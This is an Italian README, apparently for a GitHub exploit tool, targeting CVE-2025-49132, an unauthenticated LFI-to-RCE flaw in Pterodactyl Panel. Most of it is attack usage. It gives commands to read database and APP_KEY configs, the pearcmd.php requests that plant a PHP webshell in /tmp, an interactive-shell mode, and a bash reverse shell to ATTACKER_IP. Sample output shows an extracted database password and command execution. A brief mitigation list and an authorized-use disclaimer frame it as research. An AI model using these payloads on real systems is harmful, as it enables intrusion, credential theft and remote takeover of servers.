CVE-2025-49132 - Exploit del Pannello Pterodactyl

⚠️ Avvertenza: Questo repository è creato solo per scopi educativi e di ricerca come parte della mia ricerca sulla sicurezza per comprendere e documentare CVE-2025-49132. Ogni credito per la scoperta della vulnerabilità va al ricercatore(i) originale(i).

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Pannello Pterodactyl - Exploit LFI non autenticato a RCE

📋 Descrizione

CVE-2025-49132 è una vulnerabilità di Inclusione Locale di File (LFI) non autenticata nel Pannello Pterodactyl che può essere escalata a Esecuzione Remota di Codice (RCE) tramite pearcmd.php di PHP.

La vulnerabilità risiede nell'endpoint /locales/locale.json, che non sanifica correttamente i parametri locale e namespace, consentendo agli attaccanti di leggere file di configurazione PHP arbitrari e ottenere esecuzione di codice.

🎯 Versioni Affette

⚡ Funzionalità

• Modalità LFI: Legge file di configurazione PHP (credenziali database, APP_KEY, ecc.)
• Modalità RCE: Esecuzione remota di codice tramite tecnica LFI2RCE con pearcmd.php
• Shell Interattiva: Shell persistente per esecuzione di comandi multipli
• Comando Singolo: Esecuzione di comando singolo
• Output Formattato: Output colorato e formattato per una migliore leggibilità

📦 Installazione

# Clona il repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# Installa le dipendenze
pip install requests

Requisiti

• Python 3.6+
• Libreria requests
• curl (per modalità RCE)

🚀 Utilizzo

LFI - Leggi File di Configurazione

# Leggi configurazione del database
python exploit.py -u http://target.com --read -p ../../config -f database

# Leggi configurazione dell'applicazione (contiene APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# Leggi altre configurazioni
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - Esecuzione Remota di Codice

# Esecuzione comando singolo
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# Modalità shell interattiva
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Percorsi PEAR Comuni

📖 Argomenti

🔬 Come Funziona

LFI (Inclusione Locale di File)

L'endpoint vulnerabile /locales/locale.json accetta i parametri locale e namespace:

GET /locales/locale.json?locale=../../config&namespace=database

Ciò consente di leggere qualsiasi file PHP che restituisce un array, inclusi i file di configurazione di Laravel.

RCE (Esecuzione Remota di Codice)

L'exploit combina LFI con pearcmd.php per ottenere RCE:

1. Fase 1: Usa il comando config-create di pearcmd.php per scrivere una webshell PHP

   root@kitploit:~

   /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
   

2. Fase 2: Includi la shell scritta tramite LFI

   root@kitploit:~

   /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
   

📸 Schermate

LFI - Lettura Configurazione Database

════════════════════════════════════════════════════════════
  CONFIGURAZIONE DEL DATABASE
════════════════════════════════════════════════════════════

  default: mysql
  connessioni:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configurazione estratta con successo!

RCE - Esecuzione Comando

[*] Target: http://panel.example.com
[*] Esecuzione comando: id
[*] Scrittura payload su: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ Mitigazione

1. Aggiorna il Pannello Pterodactyl alla versione 1.11.11 o successiva
2. Implementa una corretta validazione degli input sui parametri locale e namespace
3. Usa una whitelist per valori validi di locale/namespace
4. Limita la direttiva register_argc_argv di PHP

⚠️ Avvertenza

Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.

• Usa questo strumento solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta per il test
• L'accesso non autorizzato a sistemi informatici è illegale
• L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento

Usalo in modo responsabile ed etico.

📚 Riferimenti

• Sito ufficiale Pterodactyl Panel
• Pterodactyl Panel su GitHub
• Dettagli CVE-2025-49132
• CVE-2025-49132: Pterodactyl Panel permette esecuzione remota arbitraria di codice non autenticata
• Tecnica PEAR da LFI a RCE
• Generatore di catene di filtri PHP
• Da Inclusione Locale di File a Esecuzione Remota di Codice (RCE)

📝 Registro delle Modifiche

• v1.0.0 - Rilascio iniziale
  • Lettura configurazione LFI
  • RCE tramite pearcmd
  • Modalità shell interattiva
  • Output formattato bene

⭐ Metti una stella a questo repo se lo hai trovato utile!